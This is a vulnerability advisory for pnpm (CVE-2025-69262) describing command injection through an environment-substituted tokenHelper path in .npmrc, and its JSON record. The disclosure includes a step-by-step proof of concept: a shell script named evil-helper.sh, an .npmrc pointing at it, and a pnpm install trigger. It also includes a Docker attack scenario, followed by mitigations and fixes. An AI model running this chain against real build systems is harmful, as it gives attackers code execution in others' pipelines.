GHSA-2PHV-J68V-WWQX

Vulnerability from github – Published: 2026-01-07 18:51 – Updated: 2026-01-08 20:07
VLAI?
Summary
pnpm vulnerable to Command Injection via environment variable substitution
Details

Summary

A command injection vulnerability exists in pnpm when using environment variable substitution in .npmrc configuration files with tokenHelper settings. An attacker who can control environment variables during pnpm operations could achieve remote code execution (RCE) in build environments.

Affected Components

  • Package: pnpm
  • Versions: All versions using @pnpm/config.env-replace and loadToken functionality
  • File: pnpm/network/auth-header/src/getAuthHeadersFromConfig.ts - loadToken() function
  • File: pnpm/config/config/src/readLocalConfig.ts - .npmrc environment variable substitution

Technical Details

Vulnerability Chain

  1. Environment Variable Substitution
  2. .npmrc supports ${VAR} syntax
  3. Substitution occurs in readLocalConfig()

  4. loadToken Execution

  5. Uses spawnSync(helperPath, { shell: true })
  6. Only validates absolute path existence

  7. Attack Flow

.npmrc: registry.npmjs.org/:tokenHelper=${HELPER_PATH}
   ↓
envReplace() → /tmp/evil-helper.sh
   ↓
loadToken() → spawnSync(..., { shell: true })
   ↓
RCE achieved

Code Evidence

pnpm/config/config/src/readLocalConfig.ts:17-18

key = envReplace(key, process.env)
ini[key] = parseField(types, envReplace(val, process.env), key)

pnpm/network/auth-header/src/getAuthHeadersFromConfig.ts:60-71

export function loadToken(helperPath: string, settingName: string): string {
  if (!path.isAbsolute(helperPath) || !fs.existsSync(helperPath)) {
    throw new PnpmError('BAD_TOKEN_HELPER_PATH', ...)
  }
  const spawnResult = spawnSync(helperPath, { shell: true })
  // ...
}

Proof of Concept

Prerequisites

  • Private npm registry access
  • Control over environment variables
  • Ability to place scripts in filesystem

PoC Steps

# 1. Create malicious helper script
cat > /tmp/evil-helper.sh << 'SCRIPT'
#!/bin/bash
echo "RCE SUCCESS!" > /tmp/rce-log.txt
echo "TOKEN_12345"
SCRIPT
chmod +x /tmp/evil-helper.sh

# 2. Create .npmrc with environment variable
cat > .npmrc << 'EOF'
registry=https://registry.npmjs.org/
registry.npmjs.org/:tokenHelper=${HELPER_PATH}
EOF

# 3. Set environment variable (attacker controlled)
export HELPER_PATH=/tmp/evil-helper.sh

# 4. Trigger pnpm install
pnpm install  # RCE occurs during auth

# 5. Verify attack
cat /tmp/rce-log.txt

PoC Results

==> Attack successful
==> File created: /tmp/rce-log.txt
==> Arbitrary code execution confirmed

Impact

Severity

  • CVSS Score: 7.6 (High)
  • CVSS Vector: cvss:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H

Affected Environments

High Risk: - CI/CD pipelines (GitHub Actions, GitLab CI) - Docker build environments - Kubernetes deployments - Private registry users

Low Risk: - Public registry only - Production runtime (no pnpm execution) - Static sites

Attack Scenarios

Scenario 1: CI/CD Supply Chain

Repository → Build Trigger → pnpm install → RCE → Production Deploy

Scenario 2: Docker Build

FROM node:20
ARG HELPER_PATH=/tmp/evil
COPY .npmrc .
RUN pnpm install  # RCE

Scenario 3: Kubernetes

Secret Control → Env Variable → .npmrc Substitution → RCE

Mitigation

Temporary Workarounds

Disable tokenHelper:

# .npmrc
# registry.npmjs.org/:tokenHelper=${HELPER_PATH}

Use direct tokens:

//registry.npmjs.org/:_authToken=YOUR_TOKEN

Audit environment variables: - Review CI/CD env vars - Restrict .npmrc changes - Monitor build logs

Recommended Fixes

  1. Remove shell: true from loadToken
  2. Implement helper path allowlist
  3. Validate substituted paths
  4. Consider sandboxing

Disclosure

  • Discovery: 2025-11-02
  • PoC: 2025-11-02
  • Report: [Pending disclosure decision]

References

  • Repository: https://github.com/pnpm/pnpm
  • Affected: @pnpm/config.env-replace@^3.0.2
  • Similar: CVE-2024-53866, CVE-2023-37478

Credit

Reported by: Jiyong Yang Contact: sy2n0@naver.com

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "pnpm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.25.0"
            },
            {
              "fixed": "10.27.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-69262"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-07T18:51:07Z",
    "nvd_published_at": "2026-01-07T23:15:50Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nA command injection vulnerability exists in pnpm when using environment variable substitution in `.npmrc` configuration files with `tokenHelper` settings. An attacker who can control environment variables during pnpm operations could achieve remote code execution (RCE) in build environments.\n\n## Affected Components\n\n- **Package**: pnpm\n- **Versions**: All versions using `@pnpm/config.env-replace` and `loadToken` functionality\n- **File**: `pnpm/network/auth-header/src/getAuthHeadersFromConfig.ts` - `loadToken()` function\n- **File**: `pnpm/config/config/src/readLocalConfig.ts` - `.npmrc` environment variable substitution\n\n## Technical Details\n\n### Vulnerability Chain\n\n1. **Environment Variable Substitution**\n   - `.npmrc` supports `${VAR}` syntax\n   - Substitution occurs in `readLocalConfig()`\n\n2. **loadToken Execution**\n   - Uses `spawnSync(helperPath, { shell: true })`\n   - Only validates absolute path existence\n\n3. **Attack Flow**\n```\n.npmrc: registry.npmjs.org/:tokenHelper=${HELPER_PATH}\n   \u2193\nenvReplace() \u2192 /tmp/evil-helper.sh\n   \u2193\nloadToken() \u2192 spawnSync(..., { shell: true })\n   \u2193\nRCE achieved\n```\n\n### Code Evidence\n\n**`pnpm/config/config/src/readLocalConfig.ts:17-18`**\n```typescript\nkey = envReplace(key, process.env)\nini[key] = parseField(types, envReplace(val, process.env), key)\n```\n\n**`pnpm/network/auth-header/src/getAuthHeadersFromConfig.ts:60-71`**\n```typescript\nexport function loadToken(helperPath: string, settingName: string): string {\n  if (!path.isAbsolute(helperPath) || !fs.existsSync(helperPath)) {\n    throw new PnpmError(\u0027BAD_TOKEN_HELPER_PATH\u0027, ...)\n  }\n  const spawnResult = spawnSync(helperPath, { shell: true })\n  // ...\n}\n```\n\n## Proof of Concept\n\n### Prerequisites\n- Private npm registry access\n- Control over environment variables\n- Ability to place scripts in filesystem\n\n### PoC Steps\n\n```bash\n# 1. Create malicious helper script\ncat \u003e /tmp/evil-helper.sh \u003c\u003c \u0027SCRIPT\u0027\n#!/bin/bash\necho \"RCE SUCCESS!\" \u003e /tmp/rce-log.txt\necho \"TOKEN_12345\"\nSCRIPT\nchmod +x /tmp/evil-helper.sh\n\n# 2. Create .npmrc with environment variable\ncat \u003e .npmrc \u003c\u003c \u0027EOF\u0027\nregistry=https://registry.npmjs.org/\nregistry.npmjs.org/:tokenHelper=${HELPER_PATH}\nEOF\n\n# 3. Set environment variable (attacker controlled)\nexport HELPER_PATH=/tmp/evil-helper.sh\n\n# 4. Trigger pnpm install\npnpm install  # RCE occurs during auth\n\n# 5. Verify attack\ncat /tmp/rce-log.txt\n```\n\n### PoC Results\n```\n==\u003e Attack successful\n==\u003e File created: /tmp/rce-log.txt\n==\u003e Arbitrary code execution confirmed\n```\n\n## Impact\n\n### Severity\n- **CVSS Score**: 7.6 (High)\n- **CVSS Vector**: cvss:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H\n\n### Affected Environments\n\n**High Risk:**\n- CI/CD pipelines (GitHub Actions, GitLab CI)\n- Docker build environments\n- Kubernetes deployments\n- Private registry users\n\n**Low Risk:**\n- Public registry only\n- Production runtime (no pnpm execution)\n- Static sites\n\n### Attack Scenarios\n\n**Scenario 1: CI/CD Supply Chain**\n```\nRepository \u2192 Build Trigger \u2192 pnpm install \u2192 RCE \u2192 Production Deploy\n```\n\n**Scenario 2: Docker Build**\n```dockerfile\nFROM node:20\nARG HELPER_PATH=/tmp/evil\nCOPY .npmrc .\nRUN pnpm install  # RCE\n```\n\n**Scenario 3: Kubernetes**\n```\nSecret Control \u2192 Env Variable \u2192 .npmrc Substitution \u2192 RCE\n```\n\n## Mitigation\n\n### Temporary Workarounds\n\n**Disable tokenHelper:**\n```ini\n# .npmrc\n# registry.npmjs.org/:tokenHelper=${HELPER_PATH}\n```\n\n**Use direct tokens:**\n```ini\n//registry.npmjs.org/:_authToken=YOUR_TOKEN\n```\n\n**Audit environment variables:**\n- Review CI/CD env vars\n- Restrict .npmrc changes\n- Monitor build logs\n\n### Recommended Fixes\n\n1. Remove `shell: true` from loadToken\n2. Implement helper path allowlist\n3. Validate substituted paths\n4. Consider sandboxing\n\n## Disclosure\n\n- **Discovery**: 2025-11-02\n- **PoC**: 2025-11-02\n- **Report**: [Pending disclosure decision]\n\n## References\n\n- Repository: https://github.com/pnpm/pnpm\n- Affected: `@pnpm/config.env-replace@^3.0.2`\n- Similar: CVE-2024-53866, CVE-2023-37478\n\n## Credit\n\nReported by: Jiyong Yang\nContact: sy2n0@naver.com",
  "id": "GHSA-2phv-j68v-wwqx",
  "modified": "2026-01-08T20:07:34Z",
  "published": "2026-01-07T18:51:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pnpm/pnpm/security/advisories/GHSA-2phv-j68v-wwqx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-69262"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pnpm/pnpm"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pnpm/pnpm/releases/tag/v10.27.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "pnpm vulnerable to Command Injection via environment variable substitution"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…